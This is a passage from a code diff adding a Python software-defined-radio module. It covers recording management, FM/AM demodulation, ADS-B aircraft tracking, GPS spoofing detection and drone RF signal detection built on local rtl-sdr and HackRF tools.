fpath.name, + 'frequency': frequency, + } + else: + return { + 'error': f'Replay failed: {result.stderr or result.stdout}', + 'returncode': result.returncode, + } + except subprocess.TimeoutExpired: + return {'error': 'Replay timed out'} + except Exception as e: + return {'error': str(e)} + + # ── Recordings Management ──────────────────────────────────────────────── + + def list_recordings(self) -> List[Dict[str, Any]]: + """List all saved recordings with metadata.""" + self._load_metadata() + recordings = [] + # Include metadata-tracked recordings + for meta in self._metadata: + filepath = Path(meta.get('file', '')) + if filepath.exists(): + meta_copy = meta.copy() + meta_copy['exists'] = True + recordings.append(meta_copy) + else: + meta_copy = meta.copy() + meta_copy['exists'] = False + recordings.append(meta_copy) + + # Also check for un-tracked files in the recordings directory + tracked_files = {Path(m.get('file', '')).name for m in self._metadata} + for f in self._recordings_dir.iterdir(): + if f.is_file() and f.suffix in ('.raw', '.iq', '.wav', '.cu8', '.cs8'): + if f.name not in tracked_files: + stat = f.stat() + recordings.append({ + 'file': str(f), + 'filename': f.name, + 'size': stat.st_size, + 'size_human': self._human_size(stat.st_size), + 'device': 'unknown', + 'frequency': 0, + 'sample_rate': 0, + 'completed': datetime.fromtimestamp( + stat.st_mtime, tz=timezone.utc + ).isoformat(), + 'exists': True, + 'untracked': True, + }) + + # Sort by completed time, newest first + recordings.sort(key=lambda r: r.get('completed', ''), reverse=True) + return recordings + + def delete_recording(self, recording_id: str) -> Dict[str, Any]: + """Delete a recording by filename.""" + # Try to match against metadata + self._load_metadata() + new_meta = [] + deleted = False + for meta in self._metadata: + fname = Path(meta.get('file', '')).name + if fname == recording_id or meta.get('filename') == recording_id: + filepath = Path(meta.get('file', '')) + if filepath.exists(): + try: + filepath.unlink() + except Exception: + pass + deleted = True + else: + new_meta.append(meta) + + if deleted: + self._metadata = new_meta + self._save_metadata() + return {'status': 'deleted', 'file': recording_id} + + # Try direct file match in recordings directory + fpath = self._recordings_dir / recording_id + if fpath.exists(): + try: + fpath.unlink() + return {'status': 'deleted', 'file': recording_id} + except Exception as e: + return {'error': f'Could not delete: {e}'} + + return {'error': f'Recording not found: {recording_id}'} + + # ── Demodulation ───────────────────────────────────────────────────────── + + def demodulate_fm(self, file_path: str, frequency: Optional[int] = None) -> Dict[str, Any]: + """FM demodulate captured IQ data to audio.""" + fpath = self._resolve_recording(file_path) + if not fpath: + return {'error': f'Recording file not found: {file_path}'} + + outfile = fpath.with_suffix('.fm.wav') + + # Method 1: Use rtl_fm pipeline (if file was captured with rtl_sdr) + sox = find_tool('sox') + rtl_fm = find_tool('rtl_fm') + + # We'll use a Python-based approach: read raw IQ, apply FM demod, write WAV + try: + raw = fpath.read_bytes() + if len(raw) < 1024: + return {'error': 'File too small to demodulate'} + + # Assume unsigned 8-bit IQ (RTL-SDR default) + samples = [] + for i in range(0, len(raw) - 1, 2): + i_val = (raw[i] - 127.5) / 127.5 + q_val = (raw[i + 1] - 127.5) / 127.5 + samples.append(complex(i_val, q_val)) + + if len(samples) < 2: + return {'error': 'Not enough samples for demodulation'} + + # FM demodulation: phase difference between consecutive samples + audio = [] + for i in range(1, len(samples)): + conj = complex(samples[i - 1].real, -samples[i - 1].imag) + product = samples[i] * conj + import math + phase = math.atan2(product.imag, product.real) + audio.append(phase) + + # Downsample to ~48 kHz audio + # Assume 2.048 MHz sample rate → decimate by 42 for ~48.7 kHz + decimation = 42 + decimated = [audio[i] for i in range(0, len(audio), decimation)] + + # Normalize to 16-bit PCM + if not decimated: + return {'error': 'Demodulation produced no audio samples'} + max_val = max(abs(s) for s in decimated) or 1.0 + pcm = [int((s / max_val) * 32000) for s in decimated] + + # Write WAV file + import wave + with wave.open(str(outfile), 'w') as wav: + wav.setnchannels(1) + wav.setsampwidth(2) + wav.setframerate(48000) + wav.writeframes(struct.pack(f'<{len(pcm)}h', *pcm)) + + return { + 'status': 'completed', + 'output': str(outfile), + 'filename': outfile.name, + 'samples': len(pcm), + 'duration': round(len(pcm) / 48000, 2), + 'mode': 'FM', + } + except Exception as e: + return {'error': f'FM demodulation failed: {e}'} + + def demodulate_am(self, file_path: str, frequency: Optional[int] = None) -> Dict[str, Any]: + """AM demodulate captured IQ data to audio.""" + fpath = self._resolve_recording(file_path) + if not fpath: + return {'error': f'Recording file not found: {file_path}'} + + outfile = fpath.with_suffix('.am.wav') + + try: + raw = fpath.read_bytes() + if len(raw) < 1024: + return {'error': 'File too small to demodulate'} + + # AM demodulation: envelope detection (magnitude of IQ samples) + audio = [] + for i in range(0, len(raw) - 1, 2): + i_val = (raw[i] - 127.5) / 127.5 + q_val = (raw[i + 1] - 127.5) / 127.5 + import math + magnitude = math.sqrt(i_val * i_val + q_val * q_val) + audio.append(magnitude) + + if not audio: + return {'error': 'Not enough samples for AM demodulation'} + + # Remove DC offset + mean_val = sum(audio) / len(audio) + audio = [s - mean_val for s in audio] + + # Downsample to ~48 kHz + decimation = 42 + decimated = [audio[i] for i in range(0, len(audio), decimation)] + + # Normalize to 16-bit PCM + if not decimated: + return {'error': 'Demodulation produced no audio samples'} + max_val = max(abs(s) for s in decimated) or 1.0 + pcm = [int((s / max_val) * 32000) for s in decimated] + + # Write WAV + import wave + with wave.open(str(outfile), 'w') as wav: + wav.setnchannels(1) + wav.setsampwidth(2) + wav.setframerate(48000) + wav.writeframes(struct.pack(f'<{len(pcm)}h', *pcm)) + + return { + 'status': 'completed', + 'output': str(outfile), + 'filename': outfile.name, + 'samples': len(pcm), + 'duration': round(len(pcm) / 48000, 2), + 'mode': 'AM', + } + except Exception as e: + return {'error': f'AM demodulation failed: {e}'} + + # ── ADS-B Tracking ─────────────────────────────────────────────────────── + + def start_adsb(self, device: str = 'rtl') -> Dict[str, Any]: + """Start ADS-B aircraft tracking (1090 MHz).""" + with self._adsb_lock: + if self._adsb_running: + return {'status': 'already_running', 'message': 'ADS-B tracking is already active'} + + # Try dump1090 first, then rtl_adsb + dump1090 = find_tool('dump1090') + rtl_adsb = find_tool('rtl_adsb') + tool = dump1090 or rtl_adsb + + if not tool: + return {'error': 'No ADS-B tool found — install dump1090 or rtl-sdr (rtl_adsb)'} + + try: + if dump1090: + cmd = [dump1090, '--raw', '--net-only', '--quiet'] + else: + cmd = [rtl_adsb] + + self._adsb_process = subprocess.Popen( + cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True + ) + self._adsb_running = True + self._adsb_aircraft.clear() + + # Background thread to parse output + self._adsb_thread = threading.Thread( + target=self._adsb_reader, daemon=True + ) + self._adsb_thread.start() + + return { + 'status': 'started', + 'tool': Path(tool).name, + 'message': f'ADS-B tracking started with {Path(tool).name}', + } + except Exception as e: + self._adsb_running = False + return {'error': f'Failed to start ADS-B: {e}'} + + def _adsb_reader(self): + """Background thread to read and parse ADS-B output.""" + try: + while self._adsb_running and self._adsb_process: + line = self._adsb_process.stdout.readline() + if not line: + if self._adsb_process.poll() is not None: + break + continue + line = line.strip() + if not line: + continue + self._parse_adsb_message(line) + except Exception: + pass + finally: + self._adsb_running = False + + def _parse_adsb_message(self, msg: str): + """Parse a raw ADS-B hex message and update aircraft tracking.""" + # Clean up message + msg = msg.strip().lstrip('*').rstrip(';') + if not msg or len(msg) < 14: + return + + try: + data = bytes.fromhex(msg) + except ValueError: + return + + # Downlink Format (first 5 bits) + df = (data[0] >> 3) & 0x1F + + # We primarily care about DF17 (ADS-B extended squitter) + if df == 17 and len(data) >= 7: + # ICAO address is bytes 1-3 + icao = data[1:4].hex().upper() + # Type code is first 5 bits of ME field (byte 4) + tc = (data[4] >> 3) & 0x1F + + now = datetime.now(timezone.utc).isoformat() + + with self._adsb_lock: + if icao not in self._adsb_aircraft: + self._adsb_aircraft[icao] = { + 'icao': icao, + 'callsign': '', + 'altitude': None, + 'speed': None, + 'heading': None, + 'lat': None, + 'lon': None, + 'vertical_rate': None, + 'squawk': '', + 'first_seen': now, + 'last_seen': now, + 'messages': 0, + } + + ac = self._adsb_aircraft[icao] + ac['last_seen'] = now + ac['messages'] += 1 + + # TC 1-4: Aircraft identification + if 1 <= tc <= 4: + charset = '#ABCDEFGHIJKLMNOPQRSTUVWXYZ#####_###############0123456789######' + callsign = '' + if len(data) >= 11: + bits = int.from_bytes(data[4:11], 'big') + for i in range(8): + idx = (bits >> (42 - i * 6)) & 0x3F + if idx < len(charset): + callsign += charset[idx] + ac['callsign'] = callsign.strip().strip('#') + + # TC 9-18: Airborne position + elif 9 <= tc <= 18: + if len(data) >= 11: + alt_code = ((data[5] & 0xFF) << 4) | ((data[6] >> 4) & 0x0F) + # Remove Q-bit (bit 4) + q_bit = (alt_code >> 4) & 1 + if q_bit: + n = ((alt_code >> 5) << 4) | (alt_code & 0x0F) + ac['altitude'] = n * 25 - 1000 + + # TC 19: Airborne velocity + elif tc == 19: + if len(data) >= 11: + sub = data[4] & 0x07 + if sub in (1, 2): + ew_dir = (data[5] >> 2) & 1 + ew_vel = ((data[5] & 0x03) << 8) | data[6] + ns_dir = (data[7] >> 7) & 1 + ns_vel = ((data[7] & 0x7F) << 3) | ((data[8] >> 5) & 0x07) + ew_vel = (ew_vel - 1) * (-1 if ew_dir else 1) + ns_vel = (ns_vel - 1) * (-1 if ns_dir else 1) + import math + ac['speed'] = round(math.sqrt(ew_vel**2 + ns_vel**2)) + ac['heading'] = round(math.degrees(math.atan2(ew_vel, ns_vel)) % 360) + + def stop_adsb(self) -> Dict[str, Any]: + """Stop ADS-B tracking.""" + with self._adsb_lock: + if not self._adsb_running: + return {'status': 'not_running', 'message': 'ADS-B tracking is not active'} + + self._adsb_running = False + if self._adsb_process: + try: + self._adsb_process.terminate() + self._adsb_process.wait(timeout=5) + except Exception: + try: + self._adsb_process.kill() + except Exception: + pass + self._adsb_process = None + + count = len(self._adsb_aircraft) + return { + 'status': 'stopped', + 'message': f'ADS-B tracking stopped — {count} aircraft tracked', + 'aircraft_count': count, + } + + def get_adsb_aircraft(self) -> List[Dict[str, Any]]: + """Return current list of tracked aircraft.""" + with self._adsb_lock: + aircraft = list(self._adsb_aircraft.values()) + # Sort by last seen, most recent first + aircraft.sort(key=lambda a: a.get('last_seen', ''), reverse=True) + return aircraft + + # ── GPS Spoofing Detection ─────────────────────────────────────────────── + + def detect_gps_spoofing(self, duration: int = 30) -> Dict[str, Any]: + """Monitor GPS L1 frequency for spoofing indicators. + + Checks for: multiple strong signals, unusual power levels, + inconsistent signal patterns that suggest spoofing. + """ + gps_freq = 1575420000 # GPS L1 C/A: 1575.42 MHz + bandwidth = 2048000 # 2 MHz bandwidth around center + + rtl_power = find_tool('rtl_power') + rtl_sdr = find_tool('rtl_sdr') + + if not rtl_power and not rtl_sdr: + return {'error': 'No RTL-SDR tools found — install rtl-sdr package'} + + results = { + 'frequency': gps_freq, + 'duration': duration, + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'analysis': {}, + 'spoofing_indicators': [], + 'risk_level': 'unknown', + } + + # Capture a short sample at GPS L1 frequency + if rtl_power: + outfile = self._sdr_dir / 'gps_check.csv' + if outfile.exists(): + outfile.unlink() + + freq_lo = gps_freq - 1000000 + freq_hi = gps_freq + 1000000 + cmd = [rtl_power, + '-f', f'{freq_lo}:{freq_hi}:10000', + '-i', str(min(duration, 10)), + '-1', + str(outfile)] + + try: + subprocess.run(cmd, capture_output=True, timeout=duration + 15) + + if outfile.exists(): + powers = [] + with open(outfile, 'r') as f: + for line in f: + parts = line.strip().split(',') + if len(parts) >= 7: + try: + db_values = [float(x) for x in parts[6:] if x.strip()] + powers.extend(db_values) + except ValueError: + continue + + if powers: + avg_power = sum(powers) / len(powers) + max_power = max(powers) + min_power = min(powers) + # Count strong signals (above average + 10dB) + threshold = avg_power + 10 + strong_signals = sum(1 for p in powers if p > threshold) + + results['analysis'] = { + 'avg_power_db': round(avg_power, 2), + 'max_power_db': round(max_power, 2), + 'min_power_db': round(min_power, 2), + 'power_range_db': round(max_power - min_power, 2), + 'strong_signals': strong_signals, + 'total_bins': len(powers), + } + + # Spoofing indicators + if max_power > -20: + results['spoofing_indicators'].append({ + 'indicator': 'Unusually strong GPS signal', + 'detail': f'Max power: {max_power:.1f} dBm (normal GPS: -130 to -120 dBm at ground)', + 'severity': 'high', + }) + + if strong_signals > len(powers) * 0.3: + results['spoofing_indicators'].append({ + 'indicator': 'Multiple strong carriers detected', + 'detail': f'{strong_signals} strong signals out of {len(powers)} bins', + 'severity': 'high', + }) + + if max_power - min_power < 5 and max_power > -60: + results['spoofing_indicators'].append({ + 'indicator': 'Flat power distribution', + 'detail': f'Power range only {max_power - min_power:.1f} dB — consistent with artificial signal', + 'severity': 'medium', + }) + + if max_power > -80: + results['spoofing_indicators'].append({ + 'indicator': 'Signal strength above expected GPS level', + 'detail': f'Max {max_power:.1f} dBm is well above typical GPS signal levels', + 'severity': 'medium', + }) + + # Overall risk + high = sum(1 for i in results['spoofing_indicators'] if i['severity'] == 'high') + med = sum(1 for i in results['spoofing_indicators'] if i['severity'] == 'medium') + if high >= 2: + results['risk_level'] = 'high' + elif high >= 1 or med >= 2: + results['risk_level'] = 'medium' + elif med >= 1: + results['risk_level'] = 'low' + else: + results['risk_level'] = 'none' + else: + results['analysis']['note'] = 'No power data collected — antenna may not receive GPS L1' + results['risk_level'] = 'unknown' + except subprocess.TimeoutExpired: + results['error'] = 'GPS monitoring timed out' + except Exception as e: + results['error'] = str(e) + else: + results['error'] = 'rtl_power not found (required for GPS analysis)' + + return results + + # ── Drone RF Detection ───────────────────────────────────────────────── + + def _load_drone_detections(self): + """Load saved drone detections from disk.""" + try: + if self._drone_detections_file.exists(): + with open(self._drone_detections_file, 'r') as f: + self._drone_detections = json.load(f) + else: + self._drone_detections = [] + except Exception: + self._drone_detections = [] + + def _save_drone_detections(self): + """Persist drone detections to disk.""" + try: + with open(self._drone_detections_file, 'w') as f: + json.dump(self._drone_detections, f, indent=2) + except Exception: + pass + + def start_drone_detection(self, device: str = 'rtl', duration: int = 0) -> Dict[str, Any]: + """Start continuous drone RF detection. + + Monitors known drone control frequencies: + - 2.4 GHz ISM band (DJI, common FPV) + - 5.8 GHz (DJI FPV, video downlinks) + - 900 MHz (long-range control links) + - 1.2 GHz (analog video) + - 433 MHz (some telemetry) + + DJI drones use OcuSync/Lightbridge on 2.4/5.8 GHz with frequency hopping. + FPV drones typically use fixed channels on 5.8 GHz for video. + + Args: + device: 'rtl' or 'hackrf' + duration: seconds to run (0 = until stopped) + + Returns detection results including: + - Frequency hopping patterns (characteristic of drone control) + - Signal strength and bearing estimation + - Protocol identification (DJI OcuSync, analog FPV, Crossfire, ELRS) + - Drone type estimation + """ + with self._drone_lock: + if self._drone_running: + return {'status': 'already_running', 'message': 'Drone detection is already active'} + + # Verify we have the required tools + if device == 'hackrf': + tool = find_tool('hackrf_sweep') + tool_name = 'hackrf_sweep' + if not tool: + return {'error': 'hackrf_sweep not found -- install hackrf package'} + else: + tool = find_tool('rtl_power') + tool_name = 'rtl_power' + if not tool: + return {'error': 'rtl_power not found -- install rtl-sdr package'} + + with self._drone_lock: + self._drone_running = True + + # Start background monitoring thread + self._drone_thread = threading.Thread( + target=self._drone_scan_loop, + args=(device, tool, duration), + daemon=True + ) + self._drone_thread.start() + + return { + 'status': 'started', + 'device': device, + 'tool': tool_name, + 'duration': duration if duration > 0 else 'continuous', + 'message': f'Drone detection started with {tool_name}', + 'bands': [v['desc'] for v in DRONE_FREQUENCIES.values()], + } + + def _drone_scan_loop(self, device: str, tool: str, duration: int): + """Background loop that sweeps drone frequency bands repeatedly.""" + import math + start_time = time.time() + + # Define scan bands -- we focus on 2.4 GHz and 5.8 GHz as primary, + # plus 900 MHz and 433 MHz as secondary bands + scan_bands = [ + { + 'name': '2.4 GHz ISM', + 'freq_start': 2400000000, + 'freq_end': 2500000000, + 'protocols': ['dji_control_2g', 'elrs_2g'], + }, + { + 'name': '5.8 GHz', + 'freq_start': 5640000000, + 'freq_end': 5950000000, + 'protocols': ['dji_control_5g', 'fpv_video_5g'], + }, + { + 'name': '900 MHz', + 'freq_start': 900000000, + 'freq_end': 930000000, + 'protocols': ['crossfire_900', 'elrs_900'], + }, + { + 'name': '433 MHz', + 'freq_start': 432000000, + 'freq_end': 435000000, + 'protocols': ['telemetry_433'], + }, + ] + + # History of power readings per band for hopping detection + band_history: Dict[str, List[Dict[str, Any]]] = {b['name']: [] for b in scan_bands} + + try: + while self._drone_running: + # Check duration limit + if duration > 0 and (time.time() - start_time) >= duration: + break + + for band in scan_bands: + if not self._drone_running: + break + + spectrum_data = self._drone_sweep_band( + device, tool, + band['freq_start'], band['freq_end'] + ) + + if not spectrum_data: + continue + + # Analyze the spectrum for drone signatures + detections = self._analyze_drone_spectrum( + spectrum_data, band, band_history[band['name']] + ) + + # Store sweep in history (keep last 10 sweeps per band) + band_history[band['name']].append({ + 'time': time.time(), + 'data': spectrum_data, + }) + if len(band_history[band['name']]) > 10: + band_history[band['name']].pop(0) + + # Add any new detections + if detections: + with self._drone_lock: + for det in detections: + self._drone_detections.append(det) + self._save_drone_detections() + + # Brief pause between full scan cycles + if self._drone_running: + time.sleep(1) + + except Exception: + pass + finally: + with self._drone_lock: + self._drone_running = False + + def _drone_sweep_band(self, device: str, tool: str, + freq_start: int, freq_end: int) -> List[Dict[str, Any]]: + """Perform a single spectrum sweep of a frequency band. + + Returns list of {freq, power_db} dicts. + """ + data = [] + + if device == 'hackrf': + # hackrf_sweep: output in CSV format + f_start_mhz = freq_start // 1000000 + f_end_mhz = max(freq_end // 1000000, f_start_mhz + 1) + cmd = [tool, '-f', f'{f_start_mhz}:{f_end_mhz}', '-n', '8192', '-w', '1000000'] + + try: + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=15) + for line in proc.stdout.splitlines(): + line = line.strip() + if not line or line.startswith('#'): + continue + parts = line.split(',') + if len(parts) < 7: + continue + try: + hz_low = float(parts[2].strip()) + hz_bin_width = float(parts[4].strip()) + db_values = [float(x.strip()) for x in parts[6:] if x.strip()] + for i, db in enumerate(db_values): + freq = hz_low + (i * hz_bin_width) + if freq_start <= freq <= freq_end: + data.append({'freq': int(freq), 'power_db': round(db, 2)}) + except (ValueError, IndexError): + continue + except (subprocess.TimeoutExpired, Exception): + pass + else: + # rtl_power + outfile = self._sdr_dir / 'drone_sweep.csv' + if outfile.exists(): + outfile.unlink() + + # RTL-SDR tops out around 1766 MHz, so for 2.4/5.8 GHz bands + # we need HackRF. But we still try -- rtl_power will just fail + # gracefully if frequency is out of range. + step = 250000 # 250 kHz steps for drone detection + cmd = [tool, '-f', f'{freq_start}:{freq_end}:{step}', '-i', '2', '-1', str(outfile)] + + try: + subprocess.run(cmd, capture_output=True, text=True, timeout=15) + if outfile.exists(): + with open(outfile, 'r') as f: + for line in f: + parts = line.strip().split(',') + if len(parts) < 7: + continue + try: + hz_low = float(parts[2]) + hz_step = float(parts[4]) + db_values = [float(x) for x in parts[6:] if x.strip()] + for i, db in enumerate(db_values): + freq = hz_low + (i * hz_step) + data.append({'freq': int(freq), 'power_db': round(db, 2)}) + except (ValueError, IndexError): + continue + except (subprocess.TimeoutExpired, Exception): + pass + + return data + + def _analyze_drone_spectrum(self, spectrum_data: List[Dict[str, Any]], + band: Dict[str, Any], + history: List[Dict[str, Any]]) -> List[Dict[str, Any]]: + """Analyze spectrum sweep data for drone RF signatures. + + Looks for: + - Strong signals above the noise floor + - FHSS patterns (power appearing/disappearing at different frequencies) + - Characteristic bandwidths matching known drone protocols + - Fixed carriers on known FPV video channels + """ + import math + + detections = [] + if not spectrum_data: + return detections + + now = datetime.now(timezone.utc).isoformat() + powers = [d['power_db'] for d in spectrum_data] + if not powers: + return detections + + avg_power = sum(powers) / len(powers) + max_power = max(powers) + # Noise floor estimate: median of lowest 50% of readings + sorted_powers = sorted(powers) + noise_floor = sorted_powers[len(sorted_powers) // 4] if sorted_powers else avg_power + + # Detection threshold: noise floor + 15 dB + threshold = noise_floor + 15 + + # Find strong signal clusters above threshold + strong_bins = [d for d in spectrum_data if d['power_db'] > threshold] + if not strong_bins: + return detections + + # Group adjacent strong bins into clusters + clusters = self._cluster_signals(strong_bins) + + for cluster in clusters: + if len(cluster) < 2: + continue + + cluster_freqs = [d['freq'] for d in cluster] + cluster_powers = [d['power_db'] for d in cluster] + center_freq = (min(cluster_freqs) + max(cluster_freqs)) // 2 + bandwidth_hz = max(cluster_freqs) - min(cluster_freqs) + peak_power = max(cluster_powers) + avg_cluster_power = sum(cluster_powers) / len(cluster_powers) + + # Identify the likely protocol + protocol = self.identify_drone_protocol({ + 'center_freq': center_freq, + 'bandwidth_hz': bandwidth_hz, + 'peak_power': peak_power, + 'avg_power': avg_cluster_power, + 'noise_floor': noise_floor, + 'num_bins': len(cluster), + 'band_name': band['name'], + 'history': history, + }) + + if protocol['protocol'] == 'unknown': + continue + + # Calculate confidence based on signal characteristics + confidence = protocol.get('confidence', 0) + + # Check history for frequency hopping patterns + hopping_detected = False + if len(history) >= 3: + hopping_detected = self._detect_fhss_pattern( + center_freq, bandwidth_hz, history + ) + if hopping_detected: + confidence = min(confidence + 20, 100) + + detection = { + 'time': now, + 'frequency': center_freq, + 'frequency_mhz': round(center_freq / 1e6, 3), + 'bandwidth_mhz': round(bandwidth_hz / 1e6, 3), + 'signal_strength_db': round(peak_power, 1), + 'noise_floor_db': round(noise_floor, 1), + 'snr_db': round(peak_power - noise_floor, 1), + 'protocol': protocol['protocol'], + 'protocol_detail': protocol.get('detail', ''), + 'drone_type': protocol.get('drone_type', 'Unknown'), + 'confidence': confidence, + 'band': band['name'], + 'fhss_detected': hopping_detected, + 'duration_s': 0, + } + + # Update duration if we have seen this signal before + with self._drone_lock: + for prev in reversed(self._drone_detections): + if (prev.get('protocol') == detection['protocol'] + and abs(prev.get('frequency', 0) - center_freq) < 5000000): + try: + prev_time = datetime.fromisoformat(prev['time']) + now_time = datetime.fromisoformat(now) + delta = (now_time - prev_time).total_seconds() + if delta < 60: + detection['duration_s'] = round( + prev.get('duration_s', 0) + delta, 1 + ) + except Exception: + pass + break + + detections.append(detection) + + return detections + + def _cluster_signals(self, strong_bins: List[Dict[str, Any]]) -> List[List[Dict[str, Any]]]: + """Group adjacent frequency bins into signal clusters. + + Bins within 2 MHz of each other are considered part of the same signal. + """ + if not strong_bins: + return [] + + sorted_bins = sorted(strong_bins, key=lambda d: d['freq']) + clusters: List[List[Dict[str, Any]]] = [[sorted_bins[0]]] + + for b in sorted_bins[1:]: + # Adjacent if within 2 MHz of last bin in current cluster + if b['freq'] - clusters[-1][-1]['freq'] <= 2000000: + clusters[-1].append(b) + else: + clusters.append([b]) + + return clusters + + def _detect_fhss_pattern(self, center_freq: int, bandwidth_hz: int, + history: List[Dict[str, Any]]) -> bool: + """Detect frequency hopping spread spectrum patterns by comparing + sequential sweeps for signals that appear/disappear at different + frequencies within the same band. + + FHSS signature: power peaks shift between sweeps while maintaining + similar amplitude, consistent with drone control hopping patterns. + """ + if len(history) < 3: + return False + + # Look at the last few sweeps for peak frequency shifts + peak_freqs = [] + for sweep in history[-5:]: + data = sweep.get('data', []) + if not data: + continue + # Find the peak frequency in this sweep within the band + band_data = [d for d in data + if abs(d['freq'] - center_freq) < bandwidth_hz] + if band_data: + peak = max(band_data, key=lambda d: d['power_db']) + peak_freqs.append(peak['freq']) + + if len(peak_freqs) < 3: + return False + + # FHSS: peak frequency changes between sweeps by more than 1 MHz + # but stays within the same band + freq_shifts = [] + for i in range(1, len(peak_freqs)): + shift = abs(peak_freqs[i] - peak_freqs[i - 1]) + freq_shifts.append(shift) + + # At least 2 significant frequency shifts = likely FHSS + significant_shifts = sum(1 for s in freq_shifts if s > 1000000) + return significant_shifts >= 2 + + def identify_drone_protocol(self, spectrum_data: Dict[str, Any]) -> Dict[str, Any]: + """Analyze spectrum sweep data and return likely drone protocol + based on bandwidth, frequency, and signal characteristics. + + Args: + spectrum_data: dict with keys: + center_freq, bandwidth_hz, peak_power, avg_power, + noise_floor, num_bins, band_name, history + + Returns: + dict with protocol, detail, drone_type, confidence + """ + center = spectrum_data.get('center_freq', 0) + bw = spectrum_data.get('bandwidth_hz', 0) + peak = spectrum_data.get('peak_power', -100) + noise = spectrum_data.get('noise_floor', -80) + snr = peak - noise + band = spectrum_data.get('band_name', '') + + result = { + 'protocol': 'unknown', + 'detail': '', + 'drone_type': 'Unknown', + 'confidence': 0, + } + + # Minimum SNR for a valid detection + if snr < 10: + return result + + # ── 2.4 GHz band analysis ── + if band == '2.4 GHz ISM' or 2400000000 <= center <= 2500000000: + # DJI OcuSync 2.x/3.0: ~10-40 MHz wide FHSS on 2.4 GHz + if 8000000 <= bw <= 45000000: + result['protocol'] = 'DJI OcuSync' + result['detail'] = f'{bw/1e6:.0f} MHz wide FHSS on 2.4 GHz' + result['drone_type'] = 'DJI (Mavic/Air/Mini series)' + result['confidence'] = min(40 + int(snr), 85) + # ExpressLRS 2.4 GHz: narrower, ~1-5 MHz + elif 500000 <= bw <= 6000000: + result['protocol'] = 'ExpressLRS 2.4G' + result['detail'] = f'{bw/1e6:.1f} MHz narrow band on 2.4 GHz' + result['drone_type'] = 'FPV Racing/Freestyle Drone' + result['confidence'] = min(30 + int(snr), 70) + # Generic 2.4 GHz control -- could be WiFi drone + elif bw <= 25000000: + result['protocol'] = 'WiFi/2.4G Control' + result['detail'] = f'{bw/1e6:.1f} MHz signal on 2.4 GHz' + result['drone_type'] = 'WiFi-based drone or controller' + result['confidence'] = min(20 + int(snr * 0.5), 50) + + # ── 5.8 GHz band analysis ── + elif band == '5.8 GHz' or 5640000000 <= center <= 5950000000: + # Check against known FPV analog video channels + center_mhz = center / 1e6 + matched_channel = None + for ch_name, ch_mhz in FPV_5G_CHANNELS.items(): + if abs(center_mhz - ch_mhz) < 10: + matched_channel = ch_name + break + + if matched_channel and bw <= 15000000: + # Analog FPV video: constant carrier, ~10-12 MHz bandwidth + result['protocol'] = 'Analog FPV Video' + result['detail'] = f'Channel {matched_channel} ({center_mhz:.0f} MHz)' + result['drone_type'] = 'FPV Drone (analog video)' + result['confidence'] = min(50 + int(snr), 90) + elif 10000000 <= bw <= 80000000: + # DJI FPV / OcuSync on 5.8 GHz + result['protocol'] = 'DJI OcuSync 5.8G' + result['detail'] = f'{bw/1e6:.0f} MHz wide on 5.8 GHz' + result['drone_type'] = 'DJI FPV / Digital Link' + result['confidence'] = min(35 + int(snr), 80) + elif bw <= 10000000: + # Could be digital FPV (HDZero, Walksnail) + result['protocol'] = 'Digital FPV Video' + result['detail'] = f'{bw/1e6:.1f} MHz on 5.8 GHz' + result['drone_type'] = 'FPV Drone (digital video)' + result['confidence'] = min(25 + int(snr * 0.7), 65) + + # ── 900 MHz band analysis ── + elif band == '900 MHz' or 900000000 <= center <= 930000000: + if bw <= 2000000: + # Crossfire or ELRS 900 MHz -- narrow, hopping + result['protocol'] = 'Crossfire/ELRS 900' + result['detail'] = f'{bw/1e3:.0f} kHz on 900 MHz ISM' + result['drone_type'] = 'Long-range FPV/RC Drone' + result['confidence'] = min(30 + int(snr), 70) + elif 2000000 < bw <= 26000000: + result['protocol'] = 'Crossfire 900' + result['detail'] = f'{bw/1e6:.1f} MHz wideband 900 MHz' + result['drone_type'] = 'Long-range FPV Drone' + result['confidence'] = min(25 + int(snr * 0.7), 65) + + # ── 433 MHz band analysis ── + elif band == '433 MHz' or 432000000 <= center <= 435000000: + if bw <= 1000000: + result['protocol'] = '433 MHz Telemetry' + result['detail'] = f'{bw/1e3:.0f} kHz telemetry link' + result['drone_type'] = 'Drone with 433 telemetry' + result['confidence'] = min(20 + int(snr * 0.5), 50) + + return result + + def stop_drone_detection(self) -> Dict[str, Any]: + """Stop the drone detection background scan.""" + with self._drone_lock: + if not self._drone_running: + return {'status': 'not_running', 'message': 'Drone detection is not active'} + + self._drone_running = False + + # Wait briefly for the thread to finish + if self._drone_thread and self._drone_thread.is_alive(): + self._drone_thread.join(timeout=5) + self._drone_thread = None + + with self._drone_lock: + count = len(self._drone_detections) + + return { + 'status': 'stopped', + 'message': f'Drone detection stopped -- {count} detections recorded', + 'detection_count': count, + } + + def get_drone_detections(self) -> List[Dict[str, Any]]: + """Return current list of drone detections, newest first.""" + with self._drone_lock: + dets = list(self._drone_detections) + dets.sort(key=lambda d: d.get('time', ''), reverse=True) + return dets + + def clear_drone_detections(self): + """Clear all stored drone detections.""" + with self._drone_lock: + self._drone_detections = [] + self._save_drone_detections() + + def is_drone_detecting(self) -> bool: + """Check if drone detection is currently running.""" + with self._drone_lock: + return self._drone_running + + # ── Signal Analysis ────────────────────────────────────────────────────── + + def analyze_signal(self, file_path: str) -> Dict[str, Any]: + """Basic signal analysis on a captured IQ file.""" + fpath = self._resolve_recording(file_path) + if not fpath: + return {'error': f'Recording file not found: {file_path}'} + + try: + raw = fpath.read_bytes() + size = len(raw) + if size < 64: + return {'error': 'File too small for analysis'} + + # Parse as unsigned 8-bit IQ (RTL-SDR format) + i_samples = [] + q_samples = [] + magnitudes = [] + import math + for idx in range(0, min(size, 2048000) - 1, 2): + i_val = (raw[idx] - 127.5) / 127.5 + q_val = (raw[idx + 1] - 127.5) / 127.5 + i_samples.append(i_val) + q_samples.append(q_val) + magnitudes.append(math.sqrt(i_val * i_val + q_val * q_val)) + + if not magnitudes: + return {'error': 'No valid samples found'} + + avg_mag = sum(magnitudes) / len(magnitudes) + max_mag = max(magnitudes) + min_mag = min(magnitudes) + + # Estimate power in dB (relative to full scale) + avg_power_db = round(20 * math.log10(avg_mag + 1e-10), 2) + peak_power_db = round(20 * math.log10(max_mag + 1e-10), 2) + + # Simple duty cycle: percentage of time signal is above 50% of max + threshold = max_mag * 0.5 + above = sum(1 for m in magnitudes if m > threshold) + duty_cycle = round(above / len(magnitudes) * 100, 1) + + # Estimate bandwidth using power spectral density + # Simple FFT-based approach + n = 